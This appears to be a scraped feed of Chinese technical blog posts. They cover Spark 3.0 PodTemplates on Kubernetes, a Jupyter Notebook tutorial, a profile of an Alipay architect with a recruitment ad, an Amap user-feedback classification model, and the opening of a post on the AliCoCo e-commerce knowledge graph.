        image: hub.oa.com/runzhliu/busybox:latest
        command: ['sh', '-c', 'sleep 1']

    SparkConf 里添加以下内容:

    spark.kubernetes.driver.podTemplateFile=/opt/spark/template-init.yaml
    spark.kubernetes.executor.podTemplateFile=/opt/spark/template-init.yaml

    配置完成后,运行一个 SparkPi 的例子,spark-submit 命令如下:

    /opt/spark/bin/spark-submit
    --deploy-mode=cluster
    --class org.apache.spark.examples.SparkPi
    --master=k8s://https://172.17.0.1:443
    --conf spark.kubernetes.namespace=demo
    --conf spark.kubernetes.driver.container.image=hub.oa.com/public/spark:v3.0.0-template
    --conf spark.kubernetes.executor.container.image=hub.oa.com/public/spark:v3.0.0-template
    --conf=spark.driver.cores=1
    --conf=spark.driver.memory=4096M
    --conf=spark.executor.cores=1
    --conf=spark.executor.memory=4096M
    --conf=spark.executor.instances=2
    --conf spark.kubernetes.driver.podTemplateFile=/opt/spark/template-init.yaml
    --conf spark.kubernetes.executor.podTemplateFile=/opt/spark/template-init.yaml
    --conf=spark.kubernetes.executor.deleteOnTermination=false
    local:///opt/spark/examples/jars/spark-examples_2.12-3.0.0-SNAPSHOT.jar
    100

    运行结束,查看一下 Driver Pod 的 YAML 文件,发现 initContainer 已经加上,并且运行正常。

    ...
      initContainers:
      - command:
        - sh
        - -c
        - sleep 1
        image: hub.oa.com/runzhliu/busybox:latest
        imagePullPolicy: Always
        name: init
        resources: {}
    ...
      initContainerStatuses:
      - containerID: docker://526049a9a78c4b29d4e4f7b5fcc89935d44c0605bcbf427456c7d7bdf39a6172
        image: hub.oa.com/runzhliu/busybox:latest
        lastState: {}
        name: init
        ready: true
        restartCount: 0
        state:
          terminated:
            containerID: docker://526049a9a78c4b29d4e4f7b5fcc89935d44c0605bcbf427456c7d7bdf39a6172
            exitCode: 0
            finishedAt: "2020-04-02T00:03:35Z"
            reason: Completed
            startedAt: "2020-04-02T00:03:34Z"

    注意:PodTemplate 文件里大小写要符合 Kubernetes 的规范,比如 Pod 不能写成 pod,initContainer 不能写成 initcontainer,否则是不生效的。

    四、总结

    Apache Spark 3.0 支持 PodTemplate,所以用户在配置 Driver/Executor 的 Pod 的时候,会更加灵活,但是 Spark 本身是不会校验 PodTemplate 的正确性的,所以这也给调试带来了很多麻烦。关于 NodeSelector, Taints, Tolerations 等,这些字段在 Spark Operator 中设置,倒是比较方便的。

    阿里巴巴开源镜像站 提供全面,高效和稳定的系统镜像、应用软件下载、域名解析和时间同步服务。”

    ]]>
    快速上手Jupyter Notebook | Python 数据可视化库 Matplotlib 快速入门之三 Fri, 02 May 2025 09:39:04 +0800 简介Jupyter Notebook | Python 数据可视化库 Matplotlib 快速入门之二

    Jupyter Notebook的使用-helloworld

    界面启动、创建文件

    界面启动

    环境搭建好后, 本机输入jupyter notebook命令,会自动弹出浏览器窗口打开Jupyter Notebook。

    #进入虚拟环境
    workon ai
    #输入命令
    jupyter notebook

    还有一种方式是在终端输入ipython notebook也是可以打开的。

    本地notebook的默认URL为:http://localhost:8888

    想让notebook打开指定目录, 只要进入此目录后执行命令即可。

    image.png

    新建notebook文档
    notebook的文档格式是.ipynb

    image.png

    内容界面操作-helloworld
    标题栏:点击标题(如Untitled) 修改文档名 菜单栏

    • 导航-File-Download as, 另存为其他格式
    • 导航-Kernel

      • Interrupt, 中断代码执行(程序卡死时)
      • Restart, 重启Python内核(执行太慢时重置全部资源)
      • Restart&Clear Output, 重启并清除所有输出
      • Restart&Run All, 重启并重新运行所有代码

    我们来输出一个hello world。

    image.png

    然后运行代码:快捷键(Shift+Enter)

    image.png

    也可以利用下图所示去运行:

    image.png

    然后我们来进行一个加法运算:

    image.png

    从上述两种方式来看,不进行print的的结果打印,会以out的形式进行输出,是交互模式的体现。

    cell操作

    什么是cell?

    cell:一对In Out会话被视作一个代码单元, 称为cell。

    Jupyter支持两种模式:

    • 编辑模式(Enter)

      • 命令模式下回车Enter或鼠标双击cell进入编辑模式。
      • 可以操作cell内文本或代码, 剪切/复制/粘贴移动等操作。
    • 命令模式(Esc)

      • 按Esc退出编辑, 进入命令模式,或者鼠标在本单元格之外点击
      • 可以操作cell单元本身进行剪切/复制/粘贴/移动等操作

    1)鼠标操作

    image.png

    2)快捷键操作

    • 两种模式通用快捷键

      • Shift+Enter, 执行本单元代码, 并跳转到下一单元
      • Ctrl+Enter, 执行本单元代码, 留在本单元

    cell行号前的*, 表示代码正在运行

    • 命令模式:按ESC进入

      • Y, cell切换到Code模式
      • M, cell切换到Markdown模式
      • A, 在当前cell的上面添加cell
      • B, 在当前cell的下面添加cell
      • 双击D:删除当前cell
      • Z,回退
      • L, 为当前cell加上行号<!--
      • Ctrl+Shift+P, 对话框输入命令直接运行
      • 快速跳转到首个cell,Crtl+Home
      • 快速跳转到最后一个cell,Crtl+End-->
    • 编辑模式:按Enter进入

      • 多光标操作:CtrL键点击鼠标(Mac:CMD+点击鼠标)
      • 回退:CtrL+Z(Mac:CMD+Z)
      • 重做:CtrL+Y(Mac:CMD+Y)
      • 补全代码:变量、方法后跟Tab键
      • 为一行或多行代码添加/取消注释:Ctrl+/(Mac:CMD+/)
      • 屏蔽自动输出信息:可在最后一条语句之后加一个分号

    3)markdown演示
    掌握标题和缩进即可。

    image.png

    显示效果:

    image.png

    我们可以通过图示来去看到markdown的演示效果:

    image.png

    配套视频课程,点击这里查看

    获取更多资源请订阅Python学习站

    ]]>
    支付宝曹刚:从一线研发到全局架构师,我都学到了什么? Fri, 02 May 2025 09:39:04 +0800

    这里是「蚂蚁社招」朝你Say Hi:金三银四,驰骋在代码疆场多年的你是否对蚂蚁金服的岗位跃跃欲试?又或者在相关行业和岗位厚积薄发多年,为的就是来蚂蚁与大佬们摩拳擦掌?那么,蚂蚁社招也正式向你抛出橄榄枝~底部有投递邮箱和岗位JD,风里雨里,蚂蚁等你!

    从2005年成立以来,支付宝逐渐成长为拥有12亿用户的数字生活开放平台,在它背后,是不断演进的技术架构在做支撑。

    在过去,我们已经分享过了支付宝伴随着双十一大促一路走来的技术演进,今天,我们邀请到了支付宝全局架构师曹刚,请他给大家分享一下,给12亿用户设计架构是什么体验。

    所谓全局架构师,就是为整个公司的架构治理和架构演进提供服务的人。不过曹刚也并不是一开始就成为全局架构师,而是从一线研发开始做起,和支付宝共同成长。

    支付宝全局架构师曹刚

    一线研发:和公司一同成长,掌握架构理念

    曹刚2008年9月加入支付宝,是公司的早期员工之一。加入公司后,他负责快捷支付业务和网银业务的开发,也参加了公司三代架构的建设。

    “三代架构是一个非常有里程碑意义的架构体系,鲁肃老苗在公司内提出了SOA这套架构模式,奠基了今天整个支付宝的技术基础。”曹刚回忆道。当时,支付宝和银行对接,是通过一个专门的银行网关系统对接的,人们通过支付宝付款,就是通过这套网关跳转到银行的网银系统进行支付。但是,这套系统各项功能糅杂在一起,发生问题难以维护和处理,更别提进行扩展了。曹刚和同事们一起,将这套银行网关系统演进成金融网络平台,通过SOA理念按照职责和领域进行分层和剥离包含支付指令向银行指令转换的金融交换层、报文拆分解析的网关层、与银行间的查错服务处理层,形成了今天支付宝金融网络的基础雏形。在这个过程中,曹刚对架构的理解逐步深入。

    在一线研发的这段日子里,他认为自己收获最大的地方是,很快掌握了SOA的架构理念,包括架构设计方式以及整个运维体系、从零开始完成SOA架构的搭建,从底层到前端的架构细节等等。这些为他之后承担更大的职责奠定了基础。

    成为架构师:从最下游到最上游

    曹刚在成为全局架构师之前,分别担任过金融网络平台和财富领域的架构师。

    和一线研发相比,架构师的工作不再局限于某一个系统的程序开发,更关注整个平台的体系化是否足够完善,哪些地方有短板,哪些地方需要优化,哪些老的系统是需要治理等。

    担任金融网络架构师期间,曹刚重新设计了银行卡资金的流入流出体系,它里面涉及到的支付、退款、对账、查询等能力,和之前相比是更高层次的抽象,通过这种抽象形成了两套系统,分别是以实时交易为主的流入体系和异步处理、批量处理的流出体系。

    在这段时间里,曹刚也参与了公司四代架构的改造。在阿里ALL IN无线之后,支付的业务量激增,表现在双十一大促上,则是支付峰值每年都会翻上好几倍。因此对金融网络的高可用和高并发的设计也成为曹刚关注的重点。

    在应对高峰流量的挑战时,除了支付宝所做的分布式架构和单元化之外,每年双十一曹刚还会和银行方一起做扩容和压测,形成了一整套应对大促的容量规划和全链路压测的体系。“双十一大促,从一定程度上改变了整个国内的银行业IT基础能力。”对于这句话,作为这些年在一线和银行并肩作战的人,他的感受是最深刻的。

    2016年,应公司的的需要,曹刚加入了成立不久的财富事业群,成为财富领域的架构师。

    虽然同是架构师,但和之前相比,金融网络偏业务底层,是金融基础设施的一部分,并不直接面对最终用户;财富则类似于支付业务的收银台,更贴近一线业务,属于业务的最上游,他的职业转变相当于从业务最下游转到最上游,改变还是很大的。

    在这段时间里,曹刚最大的收获是对业务的理解更加深入,视野更加开阔,对架构的整体结构理解更加清晰。做金融网络架构的时候是从底层往上看,看的不是特别全面,在财富领域看业务可以更加完整,可以深刻的理解支付宝的这套架构体系。包括理解每一个领域的内容在整个业务过程中充当什么角色和位置,以理财产品为例,今天我们为什么要上这个理财产品,这个理财产品需要从哪个金融机构引进来,引进的过程中涉及哪些领域的合作才能让产品成功上架面对用户等等问题,都是他在做财富领域架构师之后学习到的。

    担任财富领域架构师期间,曹刚推动金融资产交易这一层的架构从烟囱型变成平台型,打造了一个金融资产中台。在过去,理财产品分为很多业务线,包括余额宝、基金、定期、黄金等,都是烟囱化建设,曹刚将其中各类资产公共的、通用的部分抽象出来,沉淀为平台统一为各类业务提供服务,包括理财资产统一登记、计量,资金清算流程统一等,同时又保持每个业务各自的灵活性,这非常考验架构师对架构分与合的判断能力和权衡能力。

    全局架构师:推动全公司架构演进与治理

    进入2019年,曹刚已经在架构领域工作了6年时间,这6年里他对金融领域的业务和技术都进行了深入的了解和实践,希望到更大的平台去看一看,这一年他加入了架构部,成为了一名全局架构师。

    全局架构师最核心的工作目标,就是推动整个支付宝技术架构的演进,同时拉动整个技术组织的升级和发展,协助CTO落地全公司的顶层技术战略。他们需要在CTO战略和各条事业线之间形成良好衔接,推动顶层战略在各条事业线落地,同时挖掘各条线的共性问题,形成拉动全局技术架构演进的课题。

    和局部领域架构师不一样的是,全局架构师需要关注整个公司全局性的课题。大部分时间,全局架构师要思考怎么让整个架构体系更灵动,一方面要让业务具备灵活性和自主性,但同时需要将共通的能力沉淀下来。结合公司业务和技术战略方向,全局架构师要定义整体架构升级的大方向,以及当前要做的横向技术课题有哪些。比如支付宝今年的横向课题包括云原生、安全生产、研发效能、数据智能等,然后深度参与或负责其中一些课题的具体落地过程。

    全局架构师另一个工作就是关注现有的架构中不合理的的地方。比如研发效能、低水平的重复建设、边界不清晰、分工不合理等,需要推进解决这些问题。过去,我们往往依赖架构师的专家经验来解决这些问题,随着数字化转型的趋势,全局架构工作也在转型,我们要把技术研发过程和技术管理过程数字化、平台化,助推蚂蚁技术架构优化与演进、技术组织升级与发展,通过数据挖掘和分析,建立相关的数据分析产品,直接提供给CTO和各条线的技术负责人,让他们更好的发现技术领域的一些问题,并提供专家经验和解决方案,辅助技术管理层决策,从而更加高效的推动问题改进。

    支付宝面向全社会招募全局架构师

    当前,支付宝正从金融支付平台向数字生活开放平台升级,我们要搭建全球最大的数字生活开放平台、数字普惠金融平台,我们要建设新一代的技术架构体系去更好的支撑业务战略提升,业务在高速发展,要在整个公司层面进行这样的架构升级,相当于给飞行中的飞机换引擎,需要全局统筹,善于取舍和决断,对全局架构师提出了非常大的挑战。

    从上面可以知道,全局架构师的工作极端重要,同时对能力和经验都有很高要求,为了更广泛的吸纳人才,支付宝决定向全社会招募全局架构师。

    至于全局架构师需要什么的人才,曹刚本身就是一个很好的模板:在垂直领域取得成绩,具备一定的技术影响力,可以认为是这个领域的权威;能力已经被证实过,有带领中型以上团队的经验,同时又追求更大领域的发展和格局,希望到更大的平台来发展。这就是支付宝对全局架构师候选人的画像。

    另外,支付宝内部还有一个架构文化,从最开始的鲁肃老苗,通过传帮带而传承下来,其中也包括全局架构师需要具备的四种能力或特质

    首先,需要有业务洞察能力,全局架构师更多的偏业务架构和应用架构,因此对于自己所负责的领域要有独到的理解。就拿支付宝来说,你要理解它做的支付本质是什么?解决什么问题?底层是什么?包括支付、账务、清算、结算、交易平台等等,都需要有自己的理解。

    其次要保持心态开放,有些问题一线的同学可能感受没那么强烈,比如两个团队之间的一些合作效率上的问题,但架构师要来解决的话可能伤害到同学们,那么到底要不要解决呢?这里就涉及到具体的权衡,而在这个过程中,要保持开放的心态,要能够容忍各种矛盾。

    第三个是架构师需要具有全局视野,做架构本质是权衡和取舍,如果决策的时候只能看到一部分,那么结果就是盲人摸象,决策肯定会出问题。要解决局部领域的问题,需要从全局视野出发,否则最后的方向可能与整个公司的方向背道而驰。而这条对于全局架构师更加是必备的素质。

    最后是紧盯结果,需要很强的推动力,架构师不是画几张图就完了,还必须把它落实到架构的原则、架构的元素、系分方案的评审中。因为全局架构师独立于业务线之外,在这样一个环境里推动一个事情往前走是非常困难的,涉及很多的团队协作和沟通。需要有鲜明的观点,并且要能说服很多人,才能得到想要的结果。

    你的一个架构决策,将影响超过12亿人,支付宝全局架构师虚位以待,欢迎各位有志之士踊跃联络!

    加入我们

    团队介绍:

    2020年,蚂蚁金服将致力于打造数字新服务,用一站式的数字生活服务,帮助商家数字化转型升级,帮助服务业数字化,实现数字生活生态的开放共赢。通过建设可信原生和持续智能,构建核电级的安全生产体系,打造金融科技的第一品牌。这不仅仅对于业务体系是VUCA式的探索,对于蚂蚁技术体系也是一次全新的挑战。在这个过程中,我们还将保持业务架构与技术架构间灵动、高效的互动。我们希望邀请更多元化的人才合伙一起去趟出这条前人没有走过的路。

    职位描述:

    负责蚂蚁金服全域技术架构设计与治理,优化从业务架构到技术架构之间的链接,提升从商业设计到技术架构设计的效能,提升研发效率。

    职位要求:

    1. 互联网、通讯企业、金融机构、投行的头部企业,在复杂体系下从事战略研究、规划、管理、架构设计(业务架构、技术架构)等领域专家。

    2. 在当前负责领域内取得突出成绩,能把一个业务或技术领域带领到新的发展台阶,视野开拓,能驾驭大型技术战役攻坚。

    3. 目标感强,能在复杂的环境下推动力合作团队拿到结果,有观点有态度,思维敏捷,能引领技术创新。

    简历投递:

    gang.caogang@antfin.com

    ]]>
    每天几十万条用户反馈,高德工程师如何提升处理效率? Fri, 02 May 2025 09:39:04 +0800 1.背景

    先来解释一下本文中出现的专有名词。

    情报:是一种文本、图片或视频等信息,用来解决高德地图生产或者导航中的具体问题,本质上是指与道路或交通相关的知识或事实,通过一定空间和时间通知给特定用户。

    用户反馈:是指用户借助一定的媒介,对所使用的软件等提供一些反馈信息,包括情报、建议和投诉等。

    典型的用户反馈类型和选项如下图所示:

    image.png

    2.问题及解法

    用户反馈的方式可以通过手机的 Amap 端、PC 端等进行上报,上报时选择一些选择项以及文本描述来报告问题,以下是一个用户反馈的示例,其中问题来源、大类型、子类型和道路名称是选择项,用户描述是填写项,一般为比较短的文本。这些也是我们可以使用的主要特征。

    image.png

    每个用户在上报了问题之后,均希望在第一时间内问题能够得到解决并及时收到反馈。但是高德每天的用户反馈量级在几十万,要想达到及时反馈这个目标非常的不容易。

    针对这些用户反馈信息,当前的整体流程是先采用规则进行分类,其中与道路相关的每条反馈都要经过人工核实,找到用户上报的问题类型和问题发生的地点,及时更新道路数据,作用于导航。

    具体一条反馈的操作需要经过情报识别、情报定位、情报验证等环节:

    1) 情报识别主要是判断问题类型即给情报打标签

    • 分析用户上报的信息包括问题来源、大类型、子类型和用户描述等
    • 查看上传的图片资料,包括手机自动截图和用户拍照

    2) 情报定位主要是找到问题发生的位置信息即定位坐标

    • 分析用户反馈问题时戳的位置点即戳点的有效性
    • 查看用户上报问题时车辆行驶的位置即自车位置
    • 分析用户使用高德软件过程中的规划和实走轨迹等日志信息

    3) 情报验证:通过以上两步确定了情报标签和位置坐标,此环节需要验证情报标签(含道路名称)

    • 分析影像和大数据热力图或路网基础数据
    • 查看用户上传的资料和采集的多媒体图片资料

    整个业务处理流程如下图所示:

    image.png

    在处理用户反馈问题整个过程秉持的原则是完全相信用户的问题存在。若用户上报的信息不足以判断问题类型和问题发生地点,则会尽量通过用户规划和实走轨迹等日志信息进行推理得出偏向用户的结论。

    目前整个用户反馈问题处理流程存在的主要问题有:规则分发准确率低,人工核实流程复杂、技能要求高且效率低,去无效误杀严重等。

    为了解决以上问题,我们希望引入机器学习的方法,以数据驱动的方式提高作业能力。在目标具体实现的探索过程中,我们首先对业务进行拆解及层级化分类,其次使用算法来替代规则进行情报分类,再次工程化拆解人工核实作业流程为情报识别、情报定位和情报验证等步骤,实现单人单技能快速作业,最后将工程化拆解后的情报识别步骤使用算法实现其自动化。

    3.机器学习解题

    3.1 业务梳理与流程层级化拆解

    原始的用户反馈问题经由规则分类后,再进行人工情报识别、定位和验证,最终确认问题及其所在是属于近百种小分类项中的哪一个,进而确定上一级分类以及整个层级的对应关系。

    由此可以看出,整个问题处理流程只有一个步骤,处理过程相当复杂,对人工的技能要求很高,且效率低下。而且一千个人眼中就有一千个哈姆雷特,个人的主观性也会影响对问题的判断。

    针对这种情况,我们对原有业务流程进行梳理和拆解,希望能够利用机器学习和流程自动化等方式解决其中某些环节,提升整体问题处理的效率。

    首先进行有效情报和无效情报的分类即去无效,接着将整个流程拆解为六个层级,包括业务一级、业务二级、业务三级、情报识别、情报定位和情报验证。

    image.png

    如上图所示,拆解后的前三个级别为情报分类环节,只有后三个级别需要部分人工干预,其他级别均直接自动化处理。这样通过层级化、自动化和专人专职等方法极大地简化了问题同时提高了效率。

    3.2 业务与模型适配

    我们可以看到用户反馈中既有选择项又有输入项,其中选择项如问题来源等都是有默认值的,需要点击后选择相应细分项,用户不一定有耐心仔细选择,有耐心的用户可能会由于不知道具体分类标准而无法选择正确的分类。而用户描述,是需要用户手动输入的内容,是用户表达真实意图的主要途径,是一条用户反馈当中最有价值的内容。

    用户描述一般分为三种情况:无描述、有描述但无意义的、有描述且有意义的。前两种称之为无效描述,后一种称之为有效描述。

    根据业务拆解结果,业务流程第一步即为去无效,在这之后,我们将有效、无效描述的用户反馈进行区分,分别建立相应的流程进行处理。

    1) 有效描述的用户反馈,逐级分类,第一级分为数据、产品、转发三类,其中产品和转发两类直接进行自动化处理,数据类别会在第二级中分为道路和专题,专题是指非道路类的限行、步导、骑行等。

    2) 无效描述的用户反馈,进行同样的分类,并走一样的流程,但是样本集和模型是不同的,并且最后没有算法处理的步骤,直接走人工或者规则处理。

    3) 最终根据实际业务需要进行层层拆解后形成了下图所示的业务与模型适配的结构。

    image.png

    由以上分析可见,情报分类和情报识别均为多分类的文本分类问题,我们针对各自不同的数据特点,进行相应的操作:

    情报分类,每一级类别虽不同,但是模型架构却是可以复用的,只需要有针对性的做微小改动即可。且有以前人工核实过(包含情报识别、情报定位、情报验证等过程)具有最终结果作为分类标签的历史数据集作为真值,样本集获得相对容易。

    情报识别,其分类标签是在情报验证之前的中间结果,只能进行人工标注,并且需要在保证线上正常生产的前提下,尽量分配人力进行标注,资源非常有限。所以我们先在情报分类数据集上做 Finetuning 来训练模型。然后等人工标注样本量积累到一定量级后再进行情报识别上的应用。

    3.3 模型选择

    首先,将非结构化的文本用户描述表示成向量形式即向量空间模型,传统的做法是直接使用离散特征 one-hot 表示,即用 tf-idf 值表示词,维度为词典大小。但是这种表示方式当统计样本数量比较大时就会出现数据稀疏和维度爆炸的问题。

    为了避免类似问题,以及更好的体现词语之间的关系如语义相近、语序相邻等,我们使用 word embedding 的方式表示,即 Mikolov 提出的 word2vec 模型,此模型可以通过词的上下文结构信息,将词的语义映射到一个固定的向量空间中,其在向量空间上的相似度可以表示出文本语义上的相似度,本质上可以看作是语境特征的一种抽象表示。

    其次,也是最重要的就是模型选择,相对于传统的统计学习方法复杂的特征工程步骤,深度学习方法更受青睐,NLP 中最常用的是循环神经网络 RNN,RNN 将状态在自身网络中循环传递,相对于前馈神经网络可以接受更广泛的时间序列结构输入,更好的表达上下文信息,但是其在训练过程中会出现梯度消失或梯度爆炸等问题,而长短时记忆网络 LSTM 可以很好的解决这个问题。

    3.4 模型架构

    将每个用户反馈情报的词向量结果作为 LSTM 的输入,接着将 LSTM 的最后一个单元的结果作为文本特征,与其他用户选择项问题一起 merge 后作为模型输入,然后经过全连接层后使用 softmax 作为输出层进行分类,得到的 0~1 之间的实数即为分类的依据。多分类的网络架构如下图所示:

    image.png

    4.实战经验总结

    理清业务逻辑、确定解题步骤、确认样本标注排期并跑通了初版的模型后,我们觉得终于可以松一口气,问题应该已经解决过半了,剩下的就是做做模型调参和优化、坐等样本积累,训练完模型就可以轻松上线了。

    但实际情况却是面临着比预想更多的问题和困难,训练数据量不够、单个模型效果不好、超参设置不理想等问题接踵而至,漫长而艰难的优化和迭代过程才刚刚开始。

    4.1 Fine-tuning

    选定了模型之后,情报识别首先面临的问题是样本量严重不足,我们采用 Fine-tuning 的办法将网络上已经训练过的模型略加修改后再进行训练,用以提升模型的效果,随着人工标注样本逐渐增加,在不同大小的数据集上都可以取得大约 3 个百分点的提升。

    4.2 调参

    模型的调参是个修炼内功炼制金丹的过程,实际上取得的效果却不一定好。我们一共进行了近 30 组的调参实验,得出了以下饱含血泪的宝贵经验:

    1) 初始化,一定要做的,我们选择 SVD 初始化

    2) dropout 也是一定要用的,有效防止过拟合,还有 Ensemble的作用。对于 LSTM,dropout 的位置要放到 LSTM 之前,尤其是 bidirectional LSTM 是一定要这么做的,否则直接过拟合。

    3) 关于优化算法的选择,我们尝试了 Adam、RMSprop、SGD、AdaDelta 等,实际上RMSprop和Adam效果相差不多,但基于Adam可以认为是RMSprop 和 Momentum 的结合,最终选择了Adam。

    4) batch size 一般从 128 左右开始调整,但并不是越大越好。对于不同的数据集一定也要试试 batch size为 64 的情况,没准儿会有惊喜。

    5) 最后一条,一定要记住的一条,尽量对数据做 shuffle。

    4.3 Ensemble

    针对单个模型精度不够的问题,我们采用 Ensemble 方式解决,进行了多组试验后,最终选定了不同参数设定时训练得到的最好模型中的5个通过投票的方式做 Ensemble,整体准确率比单个最优模型提高 1.5 个百分点。

    另外为了优化模型效果,后续还尝试了模型方面的调整比如双向 LSTM 和不同的 Padding 方式,经过对比发现在情报识别中差异不大,经分析是每个用户描述问题的方式不同且分布差异不明显所致。

    4.4 置信度区分

    当情报识别多分类模型本身的结构优化和调参都达到一定瓶颈后,发现模型最终的效果离自动化有一定的差距,原因是特征不全且某些特征工程化提取的准确率有限、类别不均衡、单个类别的样本数量不多等。

    为了更好的实现算法落地,我们尝试进行类别内的置信度区分,主要使用了置信度模型和按类别设定阈值两种办法,最终选择了简单高效的按类别设定阈值的方法。

    置信度模型是利用分类模型的标签输出结果作为输入,每个标签的样本集重新分为训练集和验证集做二分类,训练后得到置信度模型,应用高置信的结果。

    在置信度模型实验中,尝试了 Binary 和 Weighted Crossentropy、Ensemble 的方式进行置信度模型实验,Weighted Crossentropy 的公式为:

    image.png

    为了避免溢出,将公式改为:

    image.png

    其中,表示:

    image.png

    实验的结果是 Binary 方式没有明显效果提升,Ensemble 在 95% 置信度上取得了较高的召回率,但是没有达到 98% 置信度的模型。

    借鉴了情报分类算法模型落地时按照各个类别设定不同 softmax 阈值的方式做高置信判断即按类别设定阈值的方式,在情报识别中也使用类似的方法,取得的效果超过了之前做的高置信模型效果,所以最终选择了此种方式,这部分可以很大地提高作业员的作业效率。同时为了减少作业员的操作复杂性,我们还提供了低置信部分的 top N 推荐,最大程度节省作业时间。

    5. 算法效果及应用成果

    5.1 情报分类

    算法效果:根据实际的应用需求,情报分类算法的最终效果产品类准确率 96% 以上、数据类召回率可达 99%。

    应用成果:与其他策略共同作用,整体自动化率大幅提升。在通过规则优化后实际应用中取得的效果,作业人员大幅度减少,单位作业成本降低 4/5,解决了用户反馈后端处理的瓶颈。

    5.2 情报识别

    算法效果:根据使用时高置信部分走自动化,低置信走人工进行标注的策略,情报识别算法的最终效果是有效描述准确率 96% 以上。

    应用成果:完成情报标签分类模型接入平台后通过对高低置信标签的不同处理,最终提升作业人员效率 30% 以上。

    6. 总结与展望

    通过此项目我们形成了一套有效解决复杂业务问题的方法论,同时积累了关于 NLP 算法与业务紧密结合解题的实战经验。目前这些方法与经验已在其他项目中很好的付诸实施,并且在持续的积累和完善中。在不断提升用户满意度的前提下,尽可能的高效自动化的处理问题,将产品的每一个细节争取做到极致, 是我们前进的原动力和坚持不懈的目标。

    ]]>
    阿里巴巴首次揭秘电商知识图谱AliCoCo!淘宝搜索原来这样玩! Fri, 02 May 2025 09:39:04 +0800

    本文作者:搜索推荐事业部认知图谱团队 Xusheng Luo, Luxin Liu, Yonghua Yang, Le Bo, Yuanpeng Cao, Jinhang Wu, Qiang Li, Keping Yang and Kenny Q. Zhu

    背景

    近年来电商搜索、推荐算法已经取得了长足的进步,但面对用户多样化的需求,目前的电商体验依然还称不上“智能”。多年来,我们的搜索引擎在引导用户如何输入关键字才能更快地找到需要的商品,而这种基于关键字的搜索,适用于对明确清楚具体商品的用户。但很多时候,用户面临的往往是一些问题或场景,如“举办一场户外烧烤”需要哪些工具?在淘宝上购买什么商品能有效“预防家里的老人走失”?他们需要更多的“知识”来帮助他们决策。而在商品推荐中,重复推荐、买过了又推荐、推荐缺少新意等问题也是经常为人诟病。当前的推荐系统更多的是从用户历史行为出发,通过 i2i 等手段来召回商品,而不是真正从建模用户需求出发。

    深究这些问题背后的原因,其根源在于电商技术所依赖的底层数据,缺少对于用户需求的刻画。具体来讲,目前淘宝用于管理商品的体系,是一套基于类目 - 属性 - 属性值(CPV,Category-Property-Value)的体系,它缺乏必要的知识广度和深度,去描述和理解各类用户需求,从而导致基于此的搜索、推荐算法在认知真实的用户需求时产生了语义的隔阂,从而限制了用户体验的进一步提升。

    为了打破这个隔阂,让电商搜索、推荐算法更好地认知用户需求,我们提出建设一种新的电商知识图谱,将用户需求显式地表达成图中的节点,构建一个以用户需求节点为中心的概念图谱,链接用户需求、知识、常识、商品和内容的大规模语义网络:阿里巴巴电商认知图谱(Alibaba E-commerce Cognitive Concept Net),简称 AliCoCo。我们希望 AliCoCo 能为电商领域的用户理解、知识理解、商品和内容理解提供统一的数据基础。经过两年的努力,我们已经完成了整体的结构设计和核心数据的建设,并在电商搜索、推荐等多个具体的业务场景落地,取得了不错的效果,提升了用户体验。

    AliCoCo

    如下图所示,AliCoCo 是一个概念图谱,主要由四部分构成:

    • 电商概念层(E-commerce Concepts)
    • 原子概念层(Primitive Concepts)
    • 分类体系(Taxonomy)
    • 商品层 (Items)

    image.png

    在电商概念层(E-commerce Concepts),作为 AliCoCo 最大的创新点,我们将用户需求显式地用一个符合人话的短语表示为图中的节点,如“户外烧烤(outdoor barbecue)”、“儿童保暖(keep warm for kids)”等,并称之为“电商概念”。用户需求虽然一直被提及,但在电商领域,还未被正式地定义过。在很多下游应用(如推荐系统)的工作中,常常用类目或品类节点(商品的分类)作为用户需求的表达。但用户需求是远不止于这些的,很多场合下,用户面临的是一个“场景”或者“问题”,他们并不知道具体什么商品可以帮助解决,因此我们将用户需求的定义进一步泛化为电商概念,具体详见下文章节。所有用于表示用户需求的电商概念组成了这一层。

    在原子概念层(Primitive Concepts),我们为了更好地理解上面讲到的电商概念(即用户需求),我们将这些短语进行拆解细化到词粒度,用这些细粒度的词来更系统地描述用户需求,这些细粒度的词称为“原子概念”。如对于电商概念“户外烧烤”而言,它可以被表示成“动作:烧烤 & 地点:户外 & 天气:晴”,这里的“烧烤”、“户外”和“晴”都是原子概念。所有原子概念组成了这一层。

    在分类体系(Taxonomy)中,为了更好地管理上述的原子概念,我们构建了一个描述大千世界基本概念的分类体系,它不局限于电商领域,但目前是为电商领域的概念理解所服务。在这一层中,我们定义了诸如“时间”、“地点”、“动作”、“功能”、“品类”、“IP”等一级分类(class),并在每个分类下继续细分出子分类,形成一颗树形结构。在每个分类中,包含了分类的实例(instance),即原子概念,如上述的“烧烤”、“户外”和“晴”就分属于“动作 - 消耗性动作”、“地点 - 公共空间”和“时间 - 天气”。同时,不同分类之间有不同的关系(relation),如“品类 - 服饰 - 服装 - 裤子”和“时间 - 季节”之间定义了一个“适用于(季节)”的关系。因此,相应的会有一条三元组实例:<棉裤,适用于,冬季>。

    如果将上述的分类体系和原子概念层合起来,实际上可以看做一个相对完整的本体(Ontology),它和 Freebase、DBpedia 等大家熟知的开放领域的知识图谱非常相似,唯一的区别是我们的实例不仅有实体(entity),还包括了大量的概念(concept)。而相比 Probase,ConceptNet 等概念图谱,我们又定义了一套完整的类型系统(type system)。

    在商品(内容)层,阿里巴巴平台上数十亿的商品和内容,将会和电商概念、原子概念层进行关联。如和“户外烧烤”相关联的商品可能会包括烧烤架、炭火、食材等等。但这里要注意的一点是,有些商品可以关联到“户外烧烤”这个电商概念,但不一定可以和相应的原子概念“户外”直接关联。对于商品来说,电商概念像是这个商品会被用于的某个场景,而原子概念更像是细粒度的属性,用于刻画商品的特性。

    综上所述,在 AliCoCo 的体系中,用户需求被表达成短语级别的电商概念。在这之下,有一套定义完备的分类体系和原子概念实例去描述所有的电商概念。最后,电商平台上的所有商品都会和电商概念或是原子概念相关联。下面,我们详细介绍每一层的细节以及在构建过程中所遇到的算法问题。

    分类体系(Taxonomy)

    AliCoCo 的分类体系是一个巨大的树形结构,包含了百万级别的原子概念实例。由于分类体系的构建,对专家知识的要求非常高,并且这部分的设计对于整个知识体系都至关重要,因此我们人工定义了约 20 个一级分类(下图),其中专为电商领域所设计的有:“品类”、“图案”、“功能”、“材质”、“花色”、“形状”、“气味”、“口味”。每个一级分类还会继续细分为二级、三级,直至叶子分类,其中对于电商领域最为重要的“品类”包含了约800个叶子分类。诸如“时间”、“地点”、“受众”、“IP”等分类和开放领域的知识图谱可以交融,如“IP”中包含了大量的明星、运动员、电影、音乐等。

    image.png

